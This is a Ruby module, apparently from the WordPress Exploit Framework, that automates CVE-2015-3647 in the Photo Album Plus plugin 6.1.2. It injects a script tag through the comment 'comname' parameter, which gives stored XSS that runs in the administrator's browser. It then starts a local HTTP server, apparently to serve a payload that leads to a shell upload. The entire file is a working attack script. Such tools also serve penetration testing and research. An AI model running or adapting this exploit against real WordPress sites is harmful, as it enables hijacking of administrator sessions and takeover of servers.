# frozen_string_literal: true

class Wpxf::Exploit::PhotoAlbumPlusXssShellUpload < Wpxf::Module
  include Wpxf
  include Wpxf::Net::HttpClient
  include Wpxf::WordPress::Login
  include Wpxf::WordPress::Plugin
  include Wpxf::WordPress::Xss

  def initialize
    super

    update_info(
      name: 'Photo Album Plus 6.1.2 XSS Shell Upload',
      desc: 'The vulnerability exists due to the absence of filtration of '\
            'user-supplied input passed via the "comname" and "comemail" '\
            'HTTP POST parameters to "/wp-content/plugins/wp-photo-album-plus/'\
            'wppa-ajax-front.php" script when posting a comment.'\
            "\n"\
            'A remote attacker can post a specially crafted message '\
            'containing malicious HTML or script code and execute it in '\
            'the administrator\'s browser in context of the vulnerable '\
            'website, when an administrator views images or comments in '\
            'the administrative interface.',
      author: [
        'High-Tech Bridge Security Research Lab', # Discovery and disclosure
        'rastating'                               # WPXF module
      ],
      references: [
        ['CVE', '2015-3647'],
        ['WPVDB', '7996'],
        ['URL', 'https://www.htbridge.com/advisory/HTB23257']
      ],
      date: 'May 20 2015'
    )
  end

  def check
    check_plugin_version_from_readme('wp-photo-album-plus', '6.1.3')
  end

  def plugin_url
    normalize_uri(wordpress_url_plugins, 'wp-photo-album-plus')
  end

  def ajax_url
    normalize_uri(plugin_url, 'wppa-ajax-front.php')
  end

  def post_script
    execute_post_request(
      url: ajax_url,
      body: {
        'action'      => 'wppa',
        'wppa-action' => 'do-comment',
        'photo-id'    => Utility::Text.rand_numeric(3),
        'comment'     => Utility::Text.rand_alpha(50),
        'comemail'    => "#{Utility::Text.rand_alpha(10)}@#{Utility::Text.rand_alpha(10)}.com",
        'comname'     => "#{Utility::Text.rand_alpha(8)}<script>#{xss_include_script}</script>"
      }
    )
  end

  def run
    return false unless super

    # Success will determined in another procedure, so initialize to false.
    @success = false

    emit_info 'Storing script...'
    emit_info xss_include_script, true
    res = post_script

    if res.nil?
      emit_error 'No response from the target'
      return false
    end

    if res.code != 200
      emit_error "Server responded with code #{res.code}"
      return false
    end

    emit_success "Script stored and will be executed upon visiting /wp-admin/admin.php?page=wppa_manage_comments"
    start_http_server

    return @success
  end
end
